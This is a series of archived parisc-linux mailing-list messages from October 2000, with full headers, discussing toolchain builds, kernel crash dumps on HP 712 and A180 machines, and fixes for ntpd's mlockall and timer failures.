In-reply-to: Your message of "Tue, 10 Oct 2000 20:24:52 PDT."
             <Pine.LNX.4.21.0010102014070.20550-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:8083

Alan Modra wrote:
...
> From memory, the steps I followed were:
>   build & install binutils
>   build & install gcc using "make LANGUAGES=c; make LANGUAGES=c install"
>   build & install glibc
>   rebuild gcc

Alan,
Could you update the relevant scripts in CVS build-tools repository?
(They may not need any changes and Bruno just needs to use those)

Last year I pushed for "recipes" and those got stale pretty quickly
because the folks on the bleeding edge weren't using them. Like Bruno,
I had a hard time reproducing the success others claimed they had.
(I still chuckle over puffin's phrase: "I don't believe you")
It shouldn't be that hard to build stuff from the CVS repositories.

I've given up on the recipe's and moved to scripts instead.
Matt Taggart has contributed the build-tools/palinux-autobuilder
and recipe.linux/recipe.hpux are mine. The README file should
explain what each does.

apologies for harping on this again,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI broken in CVS head?
Date: 10 Oct 2000 12:00:40 -0400
Organization: Linuxcare, Inc.
Lines: 42
Approved: news@gmane.org
Message-ID: <87wvfgelef.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619171 4346 80.91.229.3 (22 Nov 2014 01:19:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Tue Oct 10 09:59:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA32013
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Oct 2000 09:59:16 -0600
Original-Received: (qmail 31806 invoked by uid 15267); 10 Oct 2000 16:00:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31793 invoked from network); 10 Oct 2000 16:00:23 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 10 Oct 2000 16:00:23 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13j1pY-00028b-00
	for <parisc-linux@thepuffingroup.com>; Tue, 10 Oct 2000 12:00:40 -0400
Original-Lines: 41
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8084

Hi,

Trying to boot my 712/80 with STI console, I get the following error
during console init:

searching for word mode STI ROMs
STI ROM from PDC at f008000
found potential STI ROM at f0080000
STI word mode ROM at f0080000
STI word mode ROM type 3
 supports 13 monitors
 conforms to STI ROM spec revision 8.04
 graphics id 2b4ded6d40a00499
f8000000 g
break 0,0: pid=0 command='swapper'
swapper[0]: Breakpoint 0

PSW  : 00000008  GR 1 : ffffffff  GR 2 : 00100a44  GR 3 : ffffffff
GR 4 : 0028a082  GR 5 : 00000000  GR 6 : f8000000  GR 7 : c02aa800
GR 8 : 00505070  GR 9 : 00000008  GR10 : c02794a0  GR11 : bc0fd569
GR12 : 000043ff  GR13 : 000089a0  GR14 : 00004800  GR16 : 43f02aa9
GR16 : 00004000  GR17 : 00000000  GR18 : ffffffff  GR19 : 0000000a
GR20 : 00000000  GR21 : c028dd4b  GR22 : 01fe6420  GR23 : 01fe6420
GR24 : 01fdc6e0  GR26 : 01fdc6d0  GR26 : 00270d60  GR27 : c024c000
GR28 : 00000010  GR29 : 00000008  GR30 : 000002f0  GR31 : 00000198
SR0  : 00000004  SR1  : c028dd4c  SR2  : 00000001  SR3  : 00000000
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000

IASQ : 00000000 00000000 IAOQ : 01f808080 01f8080c
 IIR : 00000000 ISR: 00000000 IOR : 01f80810

Kernel panic: Attempted to kill the idle task!
In idle task - not syncing


As you can see the IAOQ (and %sr1 as well - possibly another $@#!$#%
race condition in entry.S?) are totally bogus.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New nfsroots and xc
Date: Tue, 10 Oct 2000 11:28:08 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20001010112808.A26106@tausq.org>
References: <20001010034345.6607638131@carmen.fc.hp.com> <20001010113957.E9399@linuxcare.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619171 4349 80.91.229.3 (22 Nov 2014 01:19:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:31 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>, parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: randolph@tausq.org  Tue Oct 10 12:31:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA05845
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Oct 2000 12:31:21 -0600
Original-Received: (qmail 21153 invoked by uid 15267); 10 Oct 2000 18:32:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21101 invoked from network); 10 Oct 2000 18:32:25 -0000
Original-Received: from phnxpop3.phnx.uswest.net (206.80.192.3)
  by mailserv2.iuinc.com with SMTP; 10 Oct 2000 18:32:25 -0000
Original-Received: (qmail 20092 invoked by alias); 10 Oct 2000 18:30:49 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 13732 invoked by uid 0); 10 Oct 2000 18:28:12 -0000
Original-Received: from bdslppp16.phnx.uswest.net (HELO gandalf.tausq.org) (216.160.217.16)
  by phnxpop3.phnx.uswest.net with SMTP; 10 Oct 2000 18:28:12 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13j48G-0006nI-00; Tue, 10 Oct 2000 11:28:08 -0700
User-Agent: Mutt/1.0.1i
In-Reply-To: <20001010113957.E9399@linuxcare.com>; from rhirst@linuxcare.com on Tue, Oct 10, 2000 at 11:39:58AM +0100
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8085

> 10:~# make mlock 
> cc     mlock.c   -o mlock
> /usr/bin/ld: cannot open crt1.o: No such file or directory
> collect2: ld returned 1 exit status
> make: *** [mlock] Error 1
> 
> 

According to Bdale, the fix is:

ln -s /usr/lib /usr/hppa-linux/lib

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/


From - Thu Nov 08 21:13:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ntpd fails on mlockall()
Date: Tue, 10 Oct 2000 21:53:15 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20001010215315.J9399@linuxcare.com>
References: <20001010025700.26519359E7@rover.gag.com> <20001010120841.F9399@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619172 4352 80.91.229.3 (22 Nov 2014 01:19:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Bdale Garbee <bdale@gag.com>
Original-X-From: rhirst@linuxcare.com  Tue Oct 10 14:54:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA11786
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Oct 2000 14:54:53 -0600
Original-Received: (qmail 30399 invoked by uid 15267); 10 Oct 2000 20:55:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30359 invoked from network); 10 Oct 2000 20:55:54 -0000
Original-Received: from ppp-1-57.as53.telinco.net (HELO rhirst.linuxcare.com) (@212.159.152.57)
  by mailserv2.iuinc.com with SMTP; 10 Oct 2000 20:55:54 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3B32EB005; Tue, 10 Oct 2000 21:53:15 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001010120841.F9399@linuxcare.com>; from rhirst@linuxcare.com on Tue, Oct 10, 2000 at 12:08:41PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:8086

On Tue, Oct 10, 2000 at 12:08:41PM +0100, Richard Hirst wrote:
> On Mon, Oct 09, 2000 at 08:57:00PM -0600, Bdale Garbee wrote:
> > I built a package of ntp, and it installed ok, but when ntpd goes to launch,
> > I get the following in daemon.log:
> > 
> > Oct  9 20:51:27 j5k ntpd[19416]: ntpd 4.0.99g Mon Oct  9 20:44:40 MDT 2000 (1)
> > Oct  9 20:51:27 j5k ntpd[19416]: mlockall(): Cannot allocate memory
> 
> A simple prog that just calls mlockall() fails as well.  It is because
> we currently allocate a massive stack (256MB?) for every process, and
> mlockall() tries to actually claim the memory for that stack.  I tried
> allocating just a 1MB stack in fs/exec.c, and my simple mlockall()
> prog then worked.

I've changed the kernel to grow the user stack dynamically, so
hopefully your ntpd will work now.

Richard


From - Thu Nov 08 21:13:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Native built kernel boots!
Date: Tue, 10 Oct 2000 22:11:21 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20001010221121.K9399@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619172 4357 80.91.229.3 (22 Nov 2014 01:19:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Tue Oct 10 15:13:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA13133
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Oct 2000 15:12:58 -0600
Original-Received: (qmail 21152 invoked by uid 15267); 10 Oct 2000 21:13:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21134 invoked from network); 10 Oct 2000 21:13:57 -0000
Original-Received: from ppp-1-57.as53.telinco.net (HELO rhirst.linuxcare.com) (@212.159.152.57)
  by mailserv2.iuinc.com with SMTP; 10 Oct 2000 21:13:57 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id F3554B005; Tue, 10 Oct 2000 22:11:21 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8087

Hi,
  Thought people might be interested to hear that I just booted my A180
using a kernel I'd compiled on that A180 under palinux.
Forgot to time how long the kernel built took...

Richard


From - Thu Nov 08 21:13:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712 crash
Date: Tue, 10 Oct 2000 17:08:20 -0700 (PDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <200010110008.RAA05296@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619172 4359 80.91.229.3 (22 Nov 2014 01:19:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Oct 10 18:03:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA21055
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Oct 2000 18:02:59 -0600
Original-Received: (qmail 13003 invoked by uid 15267); 11 Oct 2000 00:04:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12988 invoked from network); 11 Oct 2000 00:04:05 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 00:04:05 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 8823317E4
	for <parisc-linux@thepuffingroup.com>; Tue, 10 Oct 2000 17:04:03 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id RAA05296
	for parisc-linux@thepuffingroup.com; Tue, 10 Oct 2000 17:08:20 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8088

Wow cool!
I'm pretty impressed with how far the parisc-linux port is now...
It's almost useful! :^)

Well, things that seemed to work: DNS, ifconfig, LASI lan driver,
   ping, rcp, df, top, dpkg, etc..

After rcp'ing the ncurses package over and installing it,
the system crashed when I tried "w" command.

Note that /dev/sdb is sick (doesn't spin up) and needs
to be replaced or jumpers changed...console output with
the error scrolled off. I'm pretty sure it was sense data
but aren't so sure I recall it correctly: ASC/ASCQ d8/80, key 03.


But my 712 (using STI Console) crashed and I'm typing in *some*
of the crash data by hand:

Kernel Fault: Code=15  regs=c4f6c6c0 (Addr=c9c504b8)

PSW  : 0004320a  GR 1 : ffffffd0  GR 2 : c01390cc  GR 3 : c2fc8f60
...
GR24 : c4fffae8  GR25 : 00000060  GR26 : 006c884a  GR27 : c025e000
GR28 : 0000000b  GR29 : 01b22128  GR30 : c4f6c900  GR31 : c012e224

SR1 and SR3 are 00002008

IASQ : 00000000 00000000 IAOQ : c012e228 c012e22c ORIG_R28 : 00002008
 IIR : 6a740030 ISR : 00000000 IOR : c9c0504b8



Ok now for translations:
0xc01390cc try_to_free_buffers+12c
0xc025e000 data_start+0
0xc012e228 kmem_cache_free+44

sorry...but I'm not going to enter the stack dump by hand...

cheers,
grant


From - Thu Nov 08 21:13:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ALAN_C_MEYER@HP-FtCollins-om4.om.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP & Cygnus partnership
Date: Tue, 6 Apr 1999 05:40:42 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <H0000e1b0b5207e1@MHS>
References: <Pine.LNX.4.04.9904051934370.1202-100000@sprite.osfi-bsif.gc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619172 4361 80.91.229.3 (22 Nov 2014 01:19:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:32 +0000 (UTC)
Cc: buggz@america.net, parisc-linux@thepuffingroup.com
To: cjbeard@thepuffingroup.com
Original-X-From: ALAN_C_MEYER@HP-FtCollins-om4.om.hp.com  Tue Apr  6 07:41:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id HAA18475
	for <parisc-linux@sod.res.cmu.edu>; Tue, 6 Apr 1999 07:41:22 -0400
Original-Received: (qmail 20264 invoked by uid 15267); 6 Apr 1999 11:40:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20254 invoked from network); 6 Apr 1999 11:40:48 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 6 Apr 1999 11:40:48 -0000
Original-Received: from fcom1.fc.hp.com (fcom1.fc.hp.com [15.15.136.38])
	by palrel3.hp.com (8.9.3/8.8.5tis) with ESMTP id EAA26982;
	Tue, 6 Apr 1999 04:40:57 -0700 (PDT)
Original-Received: from localhost (root@localhost) by fcom1.fc.hp.com with SMTP (8.7.1/8.7.3 TIS 5.0 Openmail) id FAA20660; Tue, 6 Apr 1999 05:40:51 -0600 (MDT)
X-OpenMail-Hops: 1
In-Reply-To: <Pine.LNX.4.04.9904051934370.1202-100000@sprite.osfi-bsif.gc.ca>
Content-Disposition: inline; filename="Re:"
Xref: news.gmane.org gmane.linux.ports.parisc:8089

 Even before this announcement, you could get GNUPro Toolkit on HP-UX, with 
 the most recent support being for 11.0, 32bit only.  The current 
 announcement reflects the fact that GNUPro will be enhanced to support 
 code generation for PA2.0 processors and to support 64 bit HP-UX in 
 general.  On the non-technical side, you can expect to see some marketing 
 and packaging activity around GNUPro on HP-supported platforms.  And, as 
 before, HP & Cygnus continue to collaborate around the gdb/wdb work.
 
 Alan
 


______________________________ Reply Separator _________________________________
Subject: Re: [parisc-linux] HP & Cygnus partnership
Author:  Non-HP-cjbeard (cjbeard@thepuffingroup.com) at HP-ColSprings,mimegw4
Date:    4/5/99 5:43 PM


     
> Wonder if this will mean GNUPro Toolkit on HP-UX or what ?
     
"Hewlett-Packard Company and Cygnus Solutions today announced that they 
will deliver Cygnus' market-leading GNUPro Toolkit for HP-supported 
platforms under HP's Foundation Program for software development partners. 
Open-source developers now will have access to a common set of 
commercial-quality tools that facilitate development of applications 
deployed on Linux, HP-UX and Windows NT systems."
     
(Source: http://www.cygnus.com/news/hp.html, April 5th 1999)
     
Chris
     
--------------------------------------------------------------------------- 
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with 
`unsubscribe' as the subject.


From - Thu Nov 08 21:13:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unable to compil linux kernel
Date: Wed, 11 Oct 2000 12:03:16 +1100 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010111157410.14915-100000@front.linuxcare.com.au>
References: <39E338E5.4ED45E2B@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619173 4364 80.91.229.3 (22 Nov 2014 01:19:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Oct 10 19:05:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA23792
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Oct 2000 19:05:47 -0600
Original-Received: (qmail 5247 invoked by uid 15267); 11 Oct 2000 01:06:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5216 invoked from network); 11 Oct 2000 01:06:52 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 01:06:52 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA18426;
	Wed, 11 Oct 2000 12:03:16 +1100
In-Reply-To: <39E338E5.4ED45E2B@admin.france.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8090

On Tue, 10 Oct 2000, Bruno Vidal wrote:

> -> that the problem, where this "-lc" comes from ???

That's libc.a or libc.so  You need to compile and install glibc.

Incidentally, it's often useful to add -v to a failing gcc command line to
see exactly how gcc is calling the assembler/linker.  For link problems,
-Wl,-t also can help.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] __hp9000s700 predefined
Date: Wed, 11 Oct 2000 00:04:01 -0700 (PDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200010110704.AAA05911@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619173 4367 80.91.229.3 (22 Nov 2014 01:19:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:33 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Oct 11 00:58:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA03929
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Oct 2000 00:58:42 -0600
Original-Received: (qmail 18895 invoked by uid 15267); 11 Oct 2000 06:59:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18882 invoked from network); 11 Oct 2000 06:59:47 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 06:59:47 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 8157F1072
	for <parisc-linux@thepuffingroup.com>; Tue, 10 Oct 2000 23:59:44 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id AAA05911
	for parisc-linux@thepuffingroup.com; Wed, 11 Oct 2000 00:04:01 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8091

Hi all,
I was looking at how to properly ifdef code for parisc-linunx
and it seems that "#ifdef __hppa__" is "the right way" to do this.

Currently two files use ifdef CONFIG_PARISC: genrtc.c and hilkdb.c
Randolf (tausq) is fixing genrtc.c.
Any volunteers (ie 715/50 or 715/33 owners) for hilkdb.c?

But Randolf also noted that gcc predefines a few other things:
	-D__hp9000s700 -D_PA_RISC1_1

John Marvin suggested we remove the __hp9000s700 from the pa-linux
config files since it's HPUX crud. I think he's right since parisc-linux
kernels are intended to run on both 700's and 800's.
parisc-linux configs functionality in/out based on CONFIG_XXX flags
or run-time checks (ie register_driver()).
Can we remove the "-D__hp9000s700" from gcc/gcc/config/pa/pa-linux.h?

Similarly, gcc/gcc/config/pa/pa-linux64.h has "-D__hp9000s800"
which could/should be removed at the same time.

Any other thoughts on this?

thanks,
grant


From - Thu Nov 08 21:13:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ntpd fails on mlockall()
Date: Wed, 11 Oct 2000 13:09:57 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20001011130957.N9399@linuxcare.com>
References: <20001010025700.26519359E7@rover.gag.com> <20001010215315.J9399@linuxcare.com> <8766n0ynjw.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619173 4370 80.91.229.3 (22 Nov 2014 01:19:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Bdale Garbee <bdale@gag.com>
Original-X-From: rhirst@linuxcare.com  Wed Oct 11 06:11:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA17225
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Oct 2000 06:11:32 -0600
Original-Received: (qmail 28903 invoked by uid 15267); 11 Oct 2000 12:12:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28882 invoked from network); 11 Oct 2000 12:12:37 -0000
Original-Received: from user32-202.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.32.202)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 12:12:37 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 453CAB005; Wed, 11 Oct 2000 13:09:57 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <8766n0ynjw.fsf@rover.gag.com>; from bdale@gag.com on Tue, Oct 10, 2000 at 11:06:11PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:8092

On Tue, Oct 10, 2000 at 11:06:11PM -0600, Bdale Garbee wrote:
> rhirst@linuxcare.com (Richard Hirst) writes:
> 
> > I've changed the kernel to grow the user stack dynamically, so
> > hopefully your ntpd will work now.
> 
> Still dies, but without the mlockall() error, so that seems fixed.  The dmesg
> output when it fails is

Thought I'd better investigate in case it was my stack changes...
(configured and built ntp natively, btw).
Turns out this crash is caused by the call to timer_create() in
ntpd/ntp_timer.c.

timer_create() is in librt.a - anyone know whether we expect this to
work or not atm?

Anyway, if you undefine HAVE_TIMER_CREATE and HAVE_TIMER_SETTIME
in config.h and rebuild it, it does better.  I now get:

11 Oct 05:21:13 ntpd[3141]: logging to file /tmp/ntpd.log
11 Oct 05:21:13 ntpd[3141]: ntpd 4.0.99g Wed Oct 11 05:17:40 MDT 2000 (5)
11 Oct 05:21:13 ntpd[3141]: precision = 10000 usec
11 Oct 05:21:13 ntpd[3141]: kern_enable is 1
11 Oct 05:21:13 ntpd[3141]: init_socket_sig: ioctl(I_SETSIG, S_INPUT) failed: Bad address

So, I undefined USE_UDP_SIGPOLL, and now ntpd runs and talks to remote
ntp servers.  Don't know whether it is doing what it should though...

Richard


From - Thu Nov 08 21:13:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ntpd fails on mlockall()
Date: 11 Oct 2000 10:47:40 -0400
Organization: Linuxcare, Inc.
Lines: 17
Approved: news@gmane.org
Message-ID: <87wvffcu43.fsf@linuxcare.com>
References: <20001010025700.26519359E7@rover.gag.com>
	<20001010215315.J9399@linuxcare.com> <8766n0ynjw.fsf@rover.gag.com>
	<20001011130957.N9399@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619174 4372 80.91.229.3 (22 Nov 2014 01:19:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:34 +0000 (UTC)
Cc: Bdale Garbee <bdale@gag.com>, parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: dhd@linuxcare.com  Wed Oct 11 08:51:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA23391
	for <parisc-linux@puffin.external.hp.com>; Wed, 11 Oct 2000 08:51:42 -0600
Original-Received: (qmail 15921 invoked by uid 15267); 11 Oct 2000 14:52:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15905 invoked from network); 11 Oct 2000 14:52:48 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 11 Oct 2000 14:52:48 -0000
